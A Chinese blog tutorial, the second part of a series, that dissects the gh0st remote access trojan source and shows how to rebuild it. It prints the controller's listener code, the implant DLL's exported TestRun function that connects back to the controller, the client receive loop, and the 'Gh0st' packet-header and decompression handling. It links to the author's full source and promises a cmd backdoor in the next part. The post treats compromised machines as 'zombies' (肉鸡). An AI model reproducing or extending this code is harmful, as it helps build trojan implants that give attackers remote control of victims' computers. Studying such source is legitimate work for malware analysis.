gh0st源码分析与远控的编写(二)

时间:2022-07-26
本文章向大家介绍gh0st源码分析与远控的编写(二),主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

上次说了那么多,基本上就是一个叫“大局观”的东西,只有脑子里有了一个软件的设计、运行思路,才能把一个一个类写出来,组合在一起。

Gh0st的作者是一个对代码有很好掌控的人,他对代码的组合,类之间的关系,面向对象的思想有很深入的理解。而对我们看源码的人来说,这种结构化、条理化的程序,阅读起来十分轻松,思路也十分清晰。

废话不多说,我们今天来看一下gh0st的上线。所谓上线,就是我们被控端启动起来,并主动连接我们主控端,建立起TCP连接以后,主控端就可以通过相关命令来操作被控端了,这就是一台“肉鸡”的上线。

上线以后,主控端就获取到被控端计算机的相关信息,如下图:

界面就是完全按照老狼的gh0st教程中的界面设计的。我们打开源码,看看上线,gh0st是怎么处理的。

以后每次文章,我会把我的源码发上来,大家看我的源码就可以了。这里先简洁地介绍一下我的源码。有如下一些文件。

这是一个解决方案,其中:MainDll是被控端,一个动态链接库的工程;DLLTest是加载dll的普通控制台工程;PhRemote是主控端工程,MFC的界面。Bin是我们输出文件夹,编译好的文件会在其中,其中又有两个文件夹,PhRemote是主控端,server是被控端,server中放着exe和dll,点击exe就算启动了被控端。Common中放着三个工程都可能用到的文件。

回到代码上。在主控端方面,首先我们开启了一个端口(80),来等待被控端的连接。这些工作由Activate函数完成(在PhRemote中搜索该函数找到它):

void CPhRemoteDlg::Activate(UINT uPort, UINT nMaxConnect)
{
	CString str;
	if (m_iocpServer != NULL)
	{
		m_iocpServer->Shutdown();
		delete m_iocpServer;
	}
	m_iocpServer = new CIOCPServer();

	if (m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort))
	{
		char hostname[256]; 
		gethostname(hostname, sizeof(hostname));
		HOSTENT *host = gethostbyname(hostname);
		if (host != NULL)
		{ 
			for ( int i=0; ; i++ )
			{ 
				str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
				if ( host->h_addr_list[i] + host->h_length >= host->h_name )
					break;
				str += "/";
			}
		}
		str.Format("监听端口: %d成功", uPort);
		AddInfoList(TRUE, str);
	}
	else
	{
		str.Format("监听端口: %d失败”, uPort);
		AddInfoList(FALSE, str);
	}
}

首先,变量m_iocpServer,这是我们上次说到的gh0st数据传输使用的CIOCPServer类对象,m_iocpServer = new CIOCPServer(),为它在堆上分配内存。以后我们的数据传输,都使用该对象来完成。

之后我们调用了该对象一个成员函数:m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort),我们右键 - 转到定义,可以查看到在CIOCPServer函数的定义。

大概就是初始化socket套接字的一个过程:WSASocket > WSACreateEvent > WSAEventSelect > bind > listen > 进入监听线程。这已经是socket编程的一个基础了,我就不多讲。不过,其中用到了Event这个概念,这是完成端口模型中用到的概念。大家可以自己网上搜索一些异步IO模型的相关资料学习。

在m_iocpServer->Initialize函数执行完成后,等于说已经开始监听80端口了。这个if语句中有一个for循环,该循环并没有用上,到此为止我也不知道老狼的源码中为什么会有这样一段。它的作用是获取本机在所有网段下的ip地址,以/分隔。

最后,监听成功或失败则向下面一个ListCtrl中增加一条信息。

好,我们在转向被控端,就是那个dll工程。我们这个DLL只有一个导出函数,就是TestRun,执行了这个函数,等于开启了被控端。找到该函数:

extern "C" __declspec(dllexport) void TestRun(char* strHost,int nPort )
{
	strcpy_s(g_strHost, _countof(g_strHost),strHost);	//保存上线地址
	g_dwPort = nPort;										//保存上线端口
	HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
  //这里等待线程结束
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
}

该函数有两个参数,分别是主控端的IP和端口。如果不知道IP和端口,我们也不能向主控端发起连接,不是吗?

本函数实际上是开启了一个线程,执行main函数。打开main函数,我只找关于上线的相关代码:

首先声明了一个CClientSocket socketClient;对象,我之前说了,被控端的数据传输,由CClientSocket类完成。

之后:

if (!socketClient.Connect(lpszHost, dwPort))
    {
	bBreakError = CONNECT_ERROR;       //---连接错误跳出本次循环
	continue;
    }

之后调用了socketClient.Connect函数(参数依旧是主控端的IP和端口),从字面意思就可以猜到是由它来连接我们的主控端。于是,右键 - 转到定义,找到该函数。

其中可能涉及到sock5代理,Negle算法等复杂的过程,我就不展开了。你只要知道,调用了socketClient.Connect函数,我们就连接了主控端的80端口。

在socketClient.Connect函数的最后,我们看到,它又开启了一个线程,执行WorkThread函数,跟进此函数看:

DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)   
{
	CClientSocket *pThis = (CClientSocket *)lparam;
	char	buff[MAX_RECV_BUFFER];
	fd_set fdSocket;
	FD_ZERO(&fdSocket);
	FD_SET(pThis->m_Socket, &fdSocket);
	while (pThis->IsRunning())                //---如果主控端没有退出,就一直陷在这个循环中
	{
		fd_set fdRead = fdSocket;
		int nRet = select(NULL, &fdRead, NULL, NULL, NULL);   //---这里判断是否断开连接
		if (nRet == SOCKET_ERROR)      
		{
			pThis->Disconnect();
			break;
		}
		if (nRet > 0)
		{
			memset(buff, 0, sizeof(buff));
			int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);     //---接收主控端发来的数据
			if (nSize <= 0)
			{
				pThis->Disconnect();//---接收错误处理
				break;
			}
			if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);    //---正确接收就调用OnRead处理
		}
	}
	return -1;
}

看注释就很清楚了。不多说,类似于一个select选择模型,来循环接受主控端发来的信息。正确接受信息,就调用OnRead处理,所以我们跟进OnRead函数。该函数注释写的很详细,有一点我要说明。

被控端与主控端通信,每条信息有一个数据头,我们来到CClientSocket类的构造函数,可以看到以下赋值:

BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'};

memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));

m_bPacketFlag这也就是我们的数据头。相当于一个确认的作用,发来的包的前五个字节必须是"Gh0st",否则就丢弃此包,抛出一个错误。

它是这样处理的:

BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
    throw "bad buffer";

FLAG_SIZE就是5,表示数据头大小5字节。首先copymemory,把前5字节从数据包中拷贝出来,再用memcmp比较是否是“Gh0st”,不是则throw出错误。

再往下看,第6-9个字节(一个int的大小),保存的是数据包的大小。

int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
//--- 判断数据的大小
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
	{...}

用CopyMemory拷贝出该数,nSize是拷贝出来的数据包大小,这是压缩后的数据包的大小。如果不出意外,进入if语句。If语句中,我们看到三个read:

m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));

m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));

m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));

分别读的就是数据头(Gh0st),数据包大小,压缩前大小。之后还有一个read:

m_CompressionBuffer.Read(pData, nCompressLength);

这就是读的数据了。所以说算一下,数据头5字节,两个int,8字节,一共13个字节,相当于是数据包的header部分,而从第14字节开始,就是真正的数据包了。

我们调用uncompress函数,解压缩数据包,得到需要的数据。Gh0st利用解压成功与否,判断一个数据包的好坏。如果解压成功,则执行OnReceive函数:

if (nRet == Z_OK)//---如果解压成功
{
    m_DeCompressionBuffer.ClearBuffer();
    m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
    //调用m_pManager->OnReceive函数
    m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
else
    throw "bad buffer";

OnReceive函数在CManager中定义,但并未实现(一个虚函数)。

我们看m_pManager,它其实是一个CManager类对象。由于多态的存在,在不同的情况下,它会指向不同的代码,执行不同的任务。(我觉得这是gh0st源码中面向对象的精髓所在)

它到底有什么用呢?下次我会给大家实现cmd后门的功能,到时候你就知道这个点的用处所在了。

【本文源码及doc下载:http://vdisk.weibo.com/s/u9oF-vwNrwpw4